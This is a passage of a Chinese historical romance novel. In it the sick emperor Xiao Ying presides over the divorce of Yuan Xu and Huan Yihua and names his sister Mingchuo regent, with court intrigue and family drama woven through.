萧盈唇边仍是含笑,主动把茶往他面前推了推,袁綦赶紧低头,恭敬地双手捧起了茶。但还没喝呢,萧盈又说了一句让他不敢喝水的话:“你心里多少还是对朕有怨气的吧?”
袁綦赶紧把茶放下,退了两步,伏身下来:“臣绝不敢!”
萧盈摆了摆手,示意他起来。
“在宫外不必如此多礼。”他想对袁綦笑一笑,但只是扯了扯嘴角,没笑得出来,“从前朕去你家里,你不会这么拘谨。”
袁綦让他说得心里泛出一片涩意,眼底也不由泛了红。陛下说的“从前”,已经是很久以前了,那时袁綦还是个孩子,而陛下还骑得动马、拉得动弓。袁煦不在家,他偶尔会跟桓湛一起出宫。袁綦是后来才知道,那个时候陛下是在通过阿嫂的家书部署荆州军,防备着谢氏。不知道的时候,他只以为陛下是替代阿兄来陪他,他们也会说说笑笑。
可是陛下从好多年前就已经骑不动马了。他不愿兴师动众地动用仪仗,就几乎再也不出宫,一年到头都在含清宫里呆着。
“臣真的不怨陛下什么。”袁綦说得真心实意,“臣只希望陛下保重身体,长命百岁。”
萧盈看起来并不怀疑他的真心,只道:“你如今确实不该再怨朕什么了,但心里难道不替你阿兄委屈吗?”
袁綦斟酌了好一会儿,才轻声道:“阿兄是做错了,陛下要罚,也是应该的。”
萧盈闻言便是轻轻一哂,什么都没说,只喝茶。明绰这几日跟他说了,袁綦竟然站在了桓宜华这一头。萧盈有点儿意外,但又觉得也不是那么意外。他毕竟是看着袁綦长大的。
“那你父亲呢?”
袁綦愣了一下:“父亲……?”
“你觉得你父亲做错了吗?”萧盈问得不动声色,“他鸩杀你的发妻,算计着朕把妹妹下嫁,如今又结党专权,妄图乱国篡逆……”
他话还没说完,袁綦已经磕头伏身,满身冷汗:“陛下恕罪!”
萧盈就不说了,看着他伏身在地露出的一小片后颈,无声叹了口气。
他不是没对袁家起过杀心,但一次又一次,袁增都很知道进退。他很会利用两个儿子与陛下的交情,但从不过分透支;大胆争利,哪怕得罪陛下也在所不惜,但总能在那份杀心真正落下之前灵巧地避开。他是个能臣,也是个干将,萧盈还能立他做辅政大臣,也是看在这份知进退上——当然,还有袁煦曾经千里奔袭,救他于水火的恩义。
可偏偏到了最后一步,袁增还是太心急了。
“朕不会动你,只要你以后好好对朕的妹妹。”萧盈的声音很轻,却让袁綦浑身发抖,萧盈看着他的反应,竟然还笑了一声,“你放心,朕对谢氏都能网开一面,不至于要把你们家赶尽杀绝的。你阿兄毕竟对朕有恩,如今也是儿女亲家,朕会保他的。”
这还是要处置父亲的意思吗?袁綦想起那天含清宫里父亲摁住了陛下的手指向平阳王的样子,心里已经凉了半截。他似是还想抬头说什么,但匆忙的脚步声已经从门外传来。萧盈似是仅这么一听就知道是谁,突然打断他:“起来。”
袁綦才刚起身,明绰就已经跑了进来。她明显是刚起床,连头发都没好好梳,听见陛下到了就赶紧跑了出来。她看看皇兄,又看看丈夫,敏锐地感觉到好像有什么不对,但是两人都不说什么,萧盈更是很轻松地笑了笑,调侃她似的:“蓬头垢面,成何体统?”
尽管背上还
有一层吓出来的冷汗,但袁綦依然感到了方才那种相似的不适,密密麻麻地从他背上爬上来。
明绰才懒得理他这话,也不行礼,上前一步就搭他的脉——她也是学出来了。萧盈并不反抗,伸着手任她在腕上摸了两把。确认他没什么事,明绰才松了一口气,就这么蹲坐在他身边,埋怨了一句:“有什么事让任之来叫一声就行了,你自己出宫来干什么?”
萧盈笑了笑,抓了她的手想让她起来。明绰好歹还记得袁綦在,手一抽,没让他握住,自己起了身。袁綦没坐,她就也没坐,又问了一遍:“皇兄来有什么事?”
萧盈只好自己把手收回去,只道:“朕今日就是有些想念从前的时候,溦溦,桓夫人还在你这里吧?——这样吧,仲宁跑一趟,叫你阿兄过来,派人去把秧儿和韶音也叫上,都是自家人,来陪朕吃顿饭。”
明绰皱了皱眉,不知道萧盈葫芦里卖的是什么药。袁綦还没从刚才的惊吓里回过神来,一时怔在那里,正好跟萧盈的目光对上。
萧盈轻轻地歪了歪头,好像在问他为什么还不去。他看起来一点儿都不担心袁綦会把刚才听来的话拿去向父亲示警,袁綦没由来地咽了一口唾沫。
“是,”袁綦应了一声,“臣这就去。”
他躬身告退。明绰一直看着他走了,这才坐到了萧盈面前:“你到底要干什么?”
萧盈答非所问:“袁綦待你好不好?”
明绰有点儿不耐烦地“啧”了一声,很明显不想回答他这个问题。
萧盈:“朕给你留一道旨意,以后要是袁綦负你,你可以随意和离,或者你想杀了他,也行,他是安西侯也没用……”
明绰不喜欢萧盈这种安排后事的口吻,所以也毫不客气地顶回去:“人都死了,留道旨意还有什么用?袁增难道是一张诏书就能降得服的么?”
萧盈轻轻挑了挑眉,很认同地点了点头:“说的也是。”
他真是每句话都透着古怪,明绰琢磨不透,只好软了语调,又问了一遍:“皇兄到底为什么突然来我这里?”
萧盈回答得毫不犹豫:“我想见你。”
明绰都让他气笑了:“我昨天才刚走……”
“对啊,”萧盈理直气壮,“你走了,我才想见你。”
明绰就不说话了。
之前,萧盈对她虽然也有远超兄妹的偏爱,但至少还是顾忌着袁綦的——他当然不会在乎袁綦的感受,只是不想让明绰太为难。可是在鬼门关走完这一遭回来,他好像什么都不在乎了。
前天晚上,萧盈跟她说,濒死的时候,他又看见了母亲。她从城楼上坠落,还在尖利地叫他,不许他“过去”。他听见了母亲的那声燕奴,才觉得胸口压着的东西突然松了,终于活过来了。
明绰守在他床边听完了,不知道为什么,也叫了他一声燕奴。这不是兄妹之间的称呼,这是一个密语,一个被她亲手封起来,只存在过几天的梦。现在这个梦被重新打开了,她发现她躺在了萧盈身边,跟他枕在同一个枕头上。他环着她的腰,依偎在她的颈窝里闭上了眼睛。
她就这样陪了一个晚上,然后在第二天心虚而惊恐地逃回了公主府。
“皇兄,”明绰说出这几个字的时候脸上都在难以控制地发烫,声音小得近乎耳语,“我已经嫁给袁綦了。”
“朕知道,”萧盈好像听不出她的言外之意,“刚才还在叮嘱他,以后要好好对你。”
明绰不知道该拿他怎么办了似的:“你……”
萧盈没有要跟她继续谈这件事的意思,自若地把视线落到她头上,唇边含着笑:“一会儿小辈们来了,你也这样披头散发地见吗?”
“皇兄还想劝和吗?”明绰顺水推舟地换了个话头,强迫自己板起一张脸,“还是趁早别想,宜华姐姐不过是为了韶音的婚事暂时低了头,她是绝对不可能再回袁家了!”
萧盈点了点头,好像完全不意外:“好啊。”
“好……?好啊?”明绰眨了眨眼,“你到底要干什么?”
“快回去梳洗吧。”萧盈还是笑,并不回答,“朕哪里也不去,就在这里等你。”
第167章
等明绰重新梳洗妆扮过再出来时,袁煦已经到了,但袁綦还没回来,说是亲自去平阳王府了。桓宜华也在,夫妻两个都跪坐在萧盈面前,低着头,听他说话。但她一进去,萧盈又不说了,抬起头,上上下下地打量了一下她的打扮。
明绰没有心思打扮得多隆重,但是她连日在含清宫里侍疾,觉少,确实脸色不好,所以难得用了粉——不是以前谢拂霜习惯的铅粉,自明绰回到建康以后,铅粉就已在南朝绝迹。明绰今日只以豆粉敷面,又上一层莹润的珍珠粉,使整张脸透出鹅脂白的效果,就看不出疲乏了。什么式样繁复的花钿面贴,一概没有,只有唇上一点朱,头发也只是挽了个最简单的高髻。
可偏偏就是素到了极处,才见艳光。
萧盈看着她,一直没有说话。他知道袁煦和桓宜华都察觉到了不对劲,但他不在乎。那不是惊艳,或是带有占有的眼神,萧盈显然不是今日才知道明绰的美。他只是温柔而又哀伤地凝视着她,知道看一眼就少一眼,所以每一眼都宝贵,竟然叫人不好意思打破这种无声。
但明绰很怀疑的神情,还是怕萧盈想强行劝和,着急给桓宜华撑腰,站到她身边握住了她的手:“姐姐别怕。”
桓宜华一脸的茫然:“啊?”
她没怕。陛下刚才说,韶音和秧儿也已经完婚了,问问他们俩到底是怎么想的。那口吻不太一样,桓宜华说不上来。从前陛下也有这么个姿态,哪怕她只是一介女流,也要问问她的意思,但总是能在一些很细微的东西里让桓宜华明白,这是“君恩”,她得自己懂事,知道进退,最好不要让陛下为难。
但今天桓宜华没有这种感觉,陛下问得很诚恳,好像真的只是想知道,她是怎么想的。袁煦想说话,陛下也只是轻轻说了一句:“朕知道你怎么想的了,朕是在问宜华。”
萧盈看着明绰的神情就知道她想什么,也没解释,笑了笑,只道:“都坐吧。”
宴客也在正厅,陛下说了要吃饭,府里的下人早就已经摆好了案几坐席。萧秧和袁韶音是小辈,等平阳王夫妇跟着袁綦回来的时候,各席都已经布了酒水和小菜。
众人都厮见过,萧盈让袁綦也坐。他的位置就在陛下左侧,还算他是这个公主府的主人,但他注意到了明绰是坐在陛下身边同席的。
世家的规矩是,男女异位,宾主有序。虽然在公主府,男女同席早就不是什么禁忌了,但也没有这样同坐一桌的,他们夫妻都没有这样。但他也不能说什么,低了头,无声地入了席。
袁綦眼里有多少翻涌,萧盈根本没在意。他正伸出手,刚想给自己斟酒,明绰就眼疾手快地把他们桌上那壶拿了起来,让阴青蘅去换茶水来,一边还没好气地瞪了萧盈一眼。
开什么玩笑,卞弘三令五申不许喝酒的。
萧盈很好脾气地笑笑,压低了声音,还想跟她商量似的:“也不能就朕一个人没酒。”
明绰二话不说就让人把每一席上的酒水都撤了,只道:“皇兄见谅,我小气,招待不起好酒。”
一边说,一边给他倒了一盏清茶。萧盈一副好笑的神情,只道:“伯彦和宜华今日要谈的事情,只喝茶怕是不够。”
席上所有人都抬起头,面色各异,但没人敢说话。明绰也很意外地看着萧盈,但他一副泰然自若的样子,轻轻摆了摆手,示意手里端着酒的下人单独给袁煦和桓宜华斟酒。
“朕还记得,当年宜华骑着马,手里拿着剑,闯到执金吾卫大营里……”萧盈笑了笑,朝袁綦侧了侧头,“仲宁,那时你也在吧?”
袁綦低头:“臣在。”
“还有桓湛……”萧盈很怅然似的轻轻“唉”了一声,好像这才想起来应该把桓宜华的阿兄也叫上,但都开席了,也就算了,他很快就把此节略过去,笑着问袁韶音,“他们做父母的跟你说过吗?”
袁韶音看了母亲一眼,桓宜华垂着头,隐忍着,眼圈已经红了。
“舅舅跟我说过。”袁韶音回答,不知道为什么,又说了一句,“舅舅还叫我千万别学母亲。”
桓宜华猛地转过头,掩饰着,眼泪簌簌而落。
萧盈笑了一声,不以为意地摆了摆手:“你舅舅是马后炮。你母亲都只是把你父亲叫走,想私底下问,就是你舅舅揪着你父亲的衣领,跪到朕面前,非要朕做个主……”
萧盈顿了顿,看定了袁煦,轻声问他:“你当年是怎么跟朕说的?”
袁煦一句话也没说,但所有人都知道,当时并不在场的明绰,和后来才出生的韶音,她们都听说过。袁煦当着所有人的面回答陛下:“若得桓女为妻,愿舍封侯万里”。
其实他没有真的“舍”过万里封侯,反而是因为得到了桓女,他才有了后来的万里封侯。但桓女为了这句话,披上了嫁衣去送他出征,连个像样的婚礼都不要,就心甘情愿地做了他的妻子。
萧盈见袁煦不肯说话,也不逼他,笑着叹了口气:“朕还当自己做了件好事。”
明绰终于隐隐明白了他今天要干什么,非常意外地看着萧盈。“夫妇之道,不可轻废”,这是礼法的一座山
,也是为君者统御群臣的一杆尺。袁綦要和离的时候萧盈就说得很清楚了,这跟他是怎么想的没关系,作为天子,他就是不能去开这个口子。
可是萧盈今天不想做天子了。当年校场上他亲口定下了袁、桓两家的亲,谢聿就如临大敌,认为这是萧盈玩弄权术的手段——多少还是有一点儿的吧,萧盈确实是靠着这门亲抬举了袁氏,一步步地拆解了当年的朝局。
但谢聿也不会明白,那时同样只是个少年的萧盈看着袁煦,也曾发自内心地作为朋友而感到高兴。
袁煦突然很用力地吸了吸鼻子,抬起脸,终于看了桓宜华一眼。他们分坐两席,一左一右,面对着面。袁煦给自己倒了一杯酒,朝妻子举了起来:“宜华,是我对不起你。”
他没等到桓宜华的回应就仰脖一饮而尽。袁韶音已经泪流满面,萧秧没起身,但很没规矩地膝行挪到她身边,在桌下握住了她的手。桓宜华仰起了脸,似是还想让眼泪流回去,但也只是让眼泪从眼角淌出来,沾湿了一片鬓角。她什么都没说。她已经不需要袁煦这句话了,太晚了。
萧盈等了一会儿,见桓宜华没有说话的意思,才问袁煦:“现在宜华要和离,你怎么说?”
袁煦眼圈也是通红,似是还想哀求:“陛下……”
但是萧盈指了指桓宜华,让他有话别跟自己说。
袁煦便又深吸了一口气,双拳紧握,抵在跪坐的膝上。他实在不习惯说这些,尤其是还当着弟弟、女儿、女婿的面——平阳王会怎么想他?他甚至不敢抬起头,小声道:“宜华,我们能不能单独……”
桓宜华吸了吸鼻子,终于肯看了他一眼:“你有话就在这儿说吧。”
袁煦没忍住露出了一丝暴躁:“你到底要我说什么?”
他觉得委屈。弟弟一回来就站在了桓宜华那头,现在连陛下都帮着她了,好像都是他欺人太甚——可是在桓宜华闹到这一步之前,他已经道过不知道多少次歉了,也承诺过以后绝不会再犯了。是桓宜华不肯妥协,才会和家里闹到这个地步啊!
明绰听见他这个口气就想发火,但是萧盈从桌下轻轻摁住了她的手。明绰强自把话压在舌尖下,顺着萧盈的视线看过去,看见桓宜华突然含着泪笑了,她看着袁煦,眼神已经没有一丝的意外、愤怒或是伤心。
“我想你说,”桓宜华一副给他个解脱的神情,“你有没有爱过我?”
袁煦马上抬起头,先是看了萧盈一眼,然后又飞快地看了女儿、女婿一眼。这种话怎么能在外面说呢?
可是他们都看着他,在场没有一个人觉得桓宜华不该问。
袁煦深吸了一口气,很无奈似的:“当然爱过……”然后他马上纠正了自己,“我现在也还是爱你的。”
他说得真心实意,绝无一丝作伪。桓宜华又笑了,伴随着更多的眼泪落下,但那全然不是欢欣的眼泪。
“你爱的是我姓桓。”她摇了摇头,“你爱的是我为你生儿育女,操持家业,你爱的是一个贤妻良母,不是我。”
袁煦看着她,皱起了眉头,他真的听不懂。桓宜华就是贤妻良母啊——至少在这一切发生之前。
桓宜华便只有笑,笑得无比讽刺。她太了解袁煦了,袁煦不是在骗她,他对她当然还是有感情的,别的女人在他心里是比不上她,那个正妻的地位永远是桓宜华的——所以她真的不知道还能怎么样让袁煦明白,这不是爱。不是她要的爱,不是她二十年前抛下一切奔向他的那种爱。
“若是当年一意孤行要嫁给你的是崔女、王女,你也会爱的。”桓宜华用力地抹干净了自己脸上的泪痕,“要是当年没有谢太后,你父亲真的如愿让你娶到了长公主,你也会——”
她的话还没说完,袁煦就立刻喝了一声:“住口!”
袁綦猛地抬起了头,非常意外地看着自己的兄长。他不知道父亲曾经想让阿兄娶长公主。当年平荆中郎将奉命进京时只带了立过功的长子,幼子和发妻都留在了荆州,是在得到了进一步的封赏以后才接过来的。
但是明绰和萧盈都没有任何反应,袁綦朝他们看了两眼,意识到他们也都知道。在场跟他一样的惊讶的只有袁韶音,萧秧没有什么反应——但萧秧可能很早就已经不在听了,他对很多事情都并不关注。
袁煦似是非常心虚,眼神躲闪着,只是呵斥桓宜华:“你胡说什么?”
袁綦把手伸出来,握住了面前的茶杯往嘴边送。他也想喝酒,但是面前没有酒。茶好苦,他喝不出味道,只觉得舌尖蔓延出一片涩意,指尖都是麻的。
桓宜华就点了点头,不再提这个话了。她并不是想说袁煦对长公主有什么非分之想,也不想让袁綦和明绰都难堪。
“伯彦,夫妻一场,”桓宜华很耐心的口吻,“好聚好散吧,行吗?”
袁煦咬住了牙关,仍是不肯说话。
“你不是因为爱我才不愿意我离开,不过是因为和离损了你的颜面,你不能少这个‘贤妻’。”桓宜华讽刺地笑了一声,“我不会再做你的贤妻了。与其这样耗得两败俱伤,不如我把这个位置空出来,你找别人做你的贤妻吧,好不好?”
袁煦看起来完全招架不住了,所以他竟然抬起头,几乎是求助似的看了一眼萧盈。不是说“夫妻之道不可轻废”吗?不是怎么都不许乱了纲常伦理吗?陛下应该要说话了啊,陛下为什么不说话了?
他就这样看着萧盈,微微张开了嘴,急切地等着他,神情迷茫而又受伤。然后又终于在萧盈的沉默里明白过来,黯然地闭上了嘴,什么都没再说。
桓宜华也转向萧盈:“陛下,我还有一请。二郎无子,我想将膝下幼子袁博过继,承祧宗祠,望陛下恩准。”
这事儿她也没跟袁綦说过,袁綦终于找到机会出了个声:“阿嫂……”
但他还没来得及说话,明绰就应了一声:“好。”
萧盈看了她一眼。这是小事,明绰都答应了,他没什么好反对的。所以他点了点头:“朕准了。”
他点了头,袁綦就把嘴闭上了。虽然桓宜华说的是不让他绝后,但是这事儿显然轮不到他说话。
堂上陷入了短暂的静默,袁煦颓然地坐在那里,没有意识到所有人的眼睛都在看他。袁韶音似是不忍,唤了他一声:“父亲,你就答应了吧!别再折磨娘了!”
袁煦如梦初醒似的,看了女儿一眼。然后他自嘲似的笑了一声,原来都在等他啊。
“臣……”他转向萧盈,伏身下拜,“愿与桓氏和离。”
萧盈坐得有点儿歪,好像听了太久,已经累了。真的听到这话从袁煦口中说出来,他的眼神也有些黯淡。他突然想起来,当年在执金吾卫校场上许婚,他应该是赐过袁煦一个什么东西的,可他不记得是什么了,袁煦看起来也不记得了。
他们都不记得了。
“好。”这是萧盈说的唯一一个字,再没有别的话。
这是他亲口许下的婚事,最终也由他亲口了断。
第168章
公主府四时有花,各不相同。池中的荷花已经快开到了尾声,值得赏的就成了院子里的木芙蓉、秋海棠,桂花还没到最好的时候,但已经有了香气。萧盈和儿子就站在一棵桂花树下,不知道在说些什么。
萧秧的个头终于赶上来了,以前明绰不觉得他有多像父亲,这会儿站在一起,还是能看出是亲生的父子。袁韶音也站在她身边,目光非常急切地看着新婚的丈夫,但她们都听不到父子两个在说什么,看起来萧秧一个字也没说,甚至都没在听。萧盈便露出了一个有些无奈的浅淡笑意,伸手摸了摸儿子的头。可是萧秧也没躲。
那日含清宫袁韶音没有进得去,没有亲眼见到陛下发病的凶险,但是此事对于萧秧的冲击无疑是巨大的。他又
把自己封闭了起来,不肯跟任何人交流,对所有的事情都不感兴趣,包括他新婚的妻子。
她如今也挽了人妇的高髻,同未嫁时不一样了。明绰看着袁韶音眉间挥不去的愁绪,便忍不住心疼。这就是当初桓宜华几番犹疑的理由。
“韶音,”明绰轻轻地握了她的手,“可觉得委屈?”
袁韶音转过头来看了她一眼,那一瞬间好像没反应过来“委屈”二字从何而来。然后她明白了什么,轻轻抿紧了嘴,摇了摇头。
“我是担心他。”袁韶音的声音很轻,“他心里其实……”
她哽了哽,没说得出来。都说平阳王不受宠,可是真到了父皇要走的时候,萧秧也承受不住。父皇疼不疼他,他自己心里最清楚。
袁韶音快速地擦掉了眼泪,又道:“婶娘,太父这几日来过。”
明绰点了点头,并不意外。自从孙女被选为平阳王妃,大将军就再也没有藏过他的心思,平阳王府的官署如今倒有一半已经换成了袁氏门下。袁韶音看着明绰的表情,小心翼翼地道:“他说,我要做皇后了。”
明绰笑了一声,只问:“你想做皇后吗?”
袁韶音毫不犹豫摇了摇头,又不放心似的:“陛下真的会选他吗?”
她话音未落,就突然听见了哭声。两人都转过了头,看见萧秧不知道什么时候已经把头靠在了父亲肩上,哭得无所顾忌,嘴巴张开,涕泪纵横,简直像个孩子。萧盈看起来也是让儿子吓了一跳的模样,但只是微微一怔,手就落下来,搭在了他的肩膀。
明绰看着大哭的萧秧,只觉得鼻子一酸,眼泪便也下来了。萧盈从儿子的肩头越过来,似是想对她笑一笑,但又没有笑得出来。明绰迅速地抹去了眼泪,看见袁韶音已经忍不住跑了过去,一边落泪,一边想宽慰萧秧。可是萧秧竟然紧紧地抱住了父亲的腰,哭得更大声了。
别说他现在都长大成家了,就连他小的时候,也没有这样跟父皇相拥过——他甚至一向都不太喜欢父皇触碰的。萧盈脸上都有些哭笑不得起来,明绰赶紧走过去,软了声音好说歹说,萧秧才终于肯放开手,口无遮拦地闹起来:“我不要你死……父皇……”
明绰“嘶”了一声,赶紧给袁韶音使眼色。袁韶音马上会意,拉着萧秧的手,一边柔声劝着,一边把他拉开了。明绰看着两人走开,把头一转回来,看见萧盈衣服被揉皱了,肩膀上还蹭了一小片湿渍,洇在上好的丝上,特别显眼。
明绰皱了皱眉,上手给他整理了一下被抓得皱巴巴的衣服,有些责备似的:“你跟他说什么了?”
萧盈没回答,顺手拉住了明绰给他整理衣服的手,攥在自己掌心里,只问:“人送走了?”
他说的是袁煦和桓宜华。“和离”当然不只是嘴上一说,按照规矩,需得两家议定财产交割、孩子抚养等等事宜。萧盈的意思是,就不必惊动两家长辈了,他们自己早都也做了长辈了,还有什么做不了主的?
有陛下这句话,袁煦方才当庭写的和离书,桓宜华也签了。天子见证,以后无论是桓家和袁家谁有意见,都已经是板上钉钉,推不翻了。桓宜华把幼子过继之后,就连夫家的财产也不要,只要求把她带来的嫁妆带回去。但陛下在这里看着,袁煦也没这个脸,所以半爿身家都在和离书里,全交给了她。
拿了这份和离书,桓宜华才愿意跟袁煦一起暂时回到袁府。她不能这样不明不白地一直在外面,有进门礼,自然也要有出门礼。娘家要来接她,光明正大地带着那些财产从袁家出去,表明他们是“相和而去”,桓宜华并无过错,日后也不许有人以此相辱。
所以明绰刚才派了人去通知桓湛,又让袁綦陪着回去,以防袁增不高兴起来,再生事端。
“陛下如此出其不意,”明绰叹了口气,“大将军和尚书令会怎么想?”
一朵桂花就在她说话间落了下来,坠在她鬓间。萧盈就像没听见这个问题,伸手为她轻轻一拂。那小小的桂花被他拂去了,他也没舍得把手放下,就这样留恋地在明绰的鬓角抚了抚。
“我算是一个明君吗?”萧盈突然问她。
明绰“嗯?”了一声,不知道这话从何而来。
萧盈终于把手放下:“你曾经说过,我‘以后一定是个明君’。”
明绰的表情告诉他,她已经不记得自己什么时候说过这话了。但平心而论,萧盈当政的这二十年,大雍国富力强,朝局清明,法度严明,佛寺无限膨胀的势头也被遏制。民间轻徭薄赋,农桑兴盛,商贸通畅。虽偶有天灾人祸,但百姓整体上还是安居乐业,人口也得到了大幅的增长,称得上是治世。
青史一笔,当有河清海晏之誉。
可是她不喜欢萧盈这样问她。她也不喜欢萧盈今天的每一个举动,每一句话。他好像是来告别的,可是他明明身体已经好起来了,明明还答应过,他至少要比乌兰徵命长。明绰说不出话,只是落泪:“你不要这样好不好?”
萧盈抬起手,非常耐心地抹去了她的眼泪,又道:“我近日总在想太父。”
明绰一怔,没想到他会突然提起谢郯。
“我总在想,他泉下有知,会怎么说呢?”
谢郯走的时候,萧盈没有太多的感觉,当时的局势千钧一发,萧盈没什么精神分出来去体会这个老人的离去对他来说意味着什么。一转眼二十年,反而越到自己觉得身体不行了的时候,才越是想起他。
他有辜负谢郯的期望吗?这样的治世,是谢郯所希望的吗?
“有的时候,做得不好,我就觉得他在看着我,我心里就慌……”
明绰不怎么信的样子:“你也会慌吗?”
“会啊。”萧盈叹了口气,“盐政出了乱子,青州造反的时候,我就感觉,太父在用那种眼神看着我……”
他绷起脸,模仿当年谢郯的样子。学得一点都不像,但是明绰还是没忍住笑出了声。
“青州之乱也好些年了。”明绰安慰他,“你翻来找去,也就这么一件事儿好心虚。想想大燕,隔三差五就是叛乱……”
萧盈便拍拍她的手背:“大燕立国不久,人心不服,在所难免。不好这样比较。”
这话倒是像当年明绰在方千绪面前给乌兰徵开脱的口气,可是从萧盈嘴里说出来,她就觉得五味杂陈。
萧盈显然还有话没说完,又叹出来了一口气:“做了一辈子的明君,有什么意思呢?”
他早该废了谢星娥,那么明绰就不会失去她的孩子,可是他选择了做明君。他早该答应袁綦的和离,那么楚氏就不会死,可是他又选择了做明君。长公主议政,内外都该她说话的时候,他还是选择了做明君。
谢郯当年要求他,公正,勤勉,仁爱,善纳谏言,要他把国家放在自己前面……萧盈都做到了,命不久矣了才突然意识到,他为什么还在按照谢郯的要求活着?谢郯对他,到底是仇大于恩,还是恩大于仇?
“我又不是萧氏子孙。”萧盈笑起来,觉得很荒谬似的,“到了地下,你家列祖列宗不见得说我一句好吧?”
明绰不知道他到底在说什么了,只觉得有点儿被他吓住,担忧地抓了他的手。萧盈又道:“溦溦,我选不出来。”
“选什么?”
“秧儿担不起来的。”萧盈看着她的眼睛,说得一字一句,“稷儿虽然年幼,但他总有长大那一天,若他能有造化……但是秧儿不行,秧儿会一辈子被他们捏在手里。你知道那是什么滋味吗?”
明绰真的有些担心他了:“皇兄……”
“我知道。”萧盈近乎自言自语,他紧紧地看着明绰的眼睛,一行眼泪落了下来,但他似乎没有意识,“我知道那是什么滋味。”
明绰
试图安抚他:“那就选稷儿。皇兄,你好好养着身体,再撑几年,稷儿就懂事了……”
萧盈突然握紧了她的手,扣得非常紧:“你为什么要起复谢维?”
明绰沉默了片刻,一时没敢回答。袁增已经选定了立场,一心要保平阳王——她曾经也是这么选择的,直到今日,袁增也以为长公主还是这么选择的。
不错,长公主与皇后不和,与亲舅舅也不和,但这无法改变她有一半谢家血脉的事实。如今皇后被废,中书令下台,谢氏彻底倒台,三皇子最近的亲人,就成了长公主。
但她不能说出来。如今的局势,就算是陛下选择了萧稷,摄政的也轮不到长公主。明绰原本算计好,先起复谢维,除去袁增,才好一步一步地扶立萧稷。
可是谢拂霜的女儿要重新坐到那道珠帘之后,萧盈不会高兴的。很多人都不会高兴的。然而明绰现在担心的已经不是萧盈高不高兴,而是他没有时间给她“一步一步”走了。
他这样问,是因为他其实已经猜到明绰是怎么想的了吗?明绰慢慢地把手抽回来,看着萧盈的眼睛,斟酌着,每个字都说得慎重:“至少我会保护秧儿,一生一世,平安自在。”
一片沉默。萧盈什么都没说,长久地凝视着她。又有桂花落下来了,这一次落在了她的眉上。萧盈没有伸手,反而轻轻地将她拥入了怀里。明绰身体微僵,一时不知道他要做什么。可是萧盈只是轻轻地在她眉上落下了一吻,用唇瓣衔走了那一朵桂花。
“今天我这么做,你高兴吗?”萧盈问她。
明绰皱着眉头,不知道应该怎么答。她不高兴萧盈这些告别一般的行为,但她也高兴,他终于做主给了桓宜华一个痛快。
她犹疑着,点了点头:“高兴。”
萧盈把她抱紧了,轻声道:“那就好。”
明绰在惶然和困惑中被他抱紧,太多的情绪翻涌起来,令她无法思考。眼泪不受控制地落下来,她的手抬起来,环住了萧盈的腰,回应了他的拥抱。早秋第一茬的桂花开得稀稀疏疏,被风一吹,却仍有飘飘扬扬的一片金粉,就这样盛大地落在他们的肩上,如同一场注定好的落幕。
袁、桓两家的和离很快在朝中掀起了一波风暴。大将军反而没说什么,桓湛当天就去把妹妹接了回去,她当年带去的嫁妆,袁家没动,原样送了回去,还有袁煦承诺的家私,一分未差,都陆续送进了桓府。
桓廊不肯接受,一定进宫要面君,好好问问这是什么道理。然而陛下称病不见,回绝了尚书令。桓廊天大的火气也无处发泄,最终与桓宜华大吵了一架。桓宜华果断离开了娘家,以清河君夫人的身份自立门户。
整个建康都在议论此事,唯独陈缙不管他们的私事,仍在上书请陛下早立国本。他的担忧牵动了很多人的心肠,不少人上书附议。在他们孜孜不倦的请愿下,终于请到了陛下的一道圣旨。
景平三十五年秋,三皇子萧稷封建安王。与此同时,加封东乡为镇国长公主,特许镇抚内外,摄政监国。
第169章
一入秋,天就凉得很快了。袁綦早起练了会儿剑,剑上便覆了一层霜。他坐在院中,把剑搭在膝上,小心地用软布擦。擦一会儿,便有个府吏跑进院里,拜到了长公主的房间门口。袁綦抬了抬眼,看见房门已经被打开,阴青蘅站在门口,把府吏手里的拜帖收起来,见到袁綦抬头,她便微微屈膝朝他行礼:“将军,这么早?”
袁綦也颔首为礼,并不说话。阴青蘅转头就进去了,袁綦仍坐在原地,打开了一盒专门养剑用的膏,还是拿软布沾了,细细地在剑身上擦。
没擦几下,那府吏又来了,这回手里就一张拜帖,气喘吁吁地停在了门口。阴青蘅拿起来看了一眼,也不知道来的是什么人,她就做了主,替长公主回绝了。那府吏刚要跑回去,阴青蘅就把人叫住:“你也缓缓,别这么一趟一趟的。”
那府吏新来的,憨得很,老老实实地说:“门口都等着呢。”
“那就让他们等,”阴青蘅不以为意,“长公主哪有那么多闲工夫,谁都见?”
府吏喏了一声,愣在原地,也不知道该不该回去。但阴女史已经又转回去伺候长公主了,他眼睛转来转去,好像这才看见坐在院子里的人,赶紧笑着给他行礼:“驸马爷。”
袁綦只是动作顿了顿,竟也没应,低着头,接着擦他的剑。
很少有人这样叫他。一般的规矩是,身兼数职,还有虚衔的,择最高位的称呼。就像他父亲袁增同时是大将军,也是武灵侯,但一般都称大将军,因为大将军才是一品,武灵侯不过是三等爵。袁綦如今既有将军衔,也有爵位在身,哪个拎出来都比驸马都尉要高,所以旁人都是跟阴青蘅一样,称袁将军。
但这小小府吏不认得他,只晓得他是镇国长公主的丈夫,那就是驸马。
袁綦低头擦剑,油膏把剑身润得发亮。清晨的光从树叶间漏下来,照得剑身近乎耀目。
阴青蘅又走了出来,手里握了几张刚才拿进去的拜帖,又还给了府吏。那意思就是这几个人长公主今天不见。府吏捧在手里,转身就跑。一般他还了拜帖回去,人不一定甘心走,还得在门外等,可有的饶舌。这一波的拜帖递完了,还有下一波,他可忙得很。
袁綦把剑举到眼前平视,在阳光下仔细看。均匀的油膜已经成了型,他似是满意了,刚要把剑收起来,就看见敬漪澜从外面进来了。她不需要递拜帖,也不需要等,见到袁綦在,也朝他屈膝为礼:“袁将军。”
袁綦敬她是平阳王生母,忙起身还礼:“夫人。”
敬漪澜笑了笑,没跟他多礼,直接进了明绰长公主屋里。袁綦的目光跟着她动了动,见到门关上了,便收回了视线,站了一会儿,自嘲似的笑了一声,收剑入鞘,转身走了。
他还以为,若今日够早,至少能在长公主梳洗完以后跟她一起用个早饭之类的。但明绰显然一点时间也没有给他。
自从封了镇国长公主,府上便日日如是。
旨意刚下来的时候,四大辅臣都不肯依。陛下当时病危时许的辅政之权,好转了就不提了且不说,怎么又横刺里多出来一个镇国长公主呢?这是
什么意思?他们还辅不辅政了?
桓廊和王勤都在尚书台,陈缙统领御史台,都去含清宫面君,唯独大将军没去。果然,另外三位都在含清宫碰了一鼻子灰,唯独大将军好好的。
尚书令因此对大将军极为不满。其实大将军多年如一日,向来是如此“知进退”,这也算不上太过分。但正好撞到了两家和离,桓廊就难免觉得,袁增此举是不是别有深意。
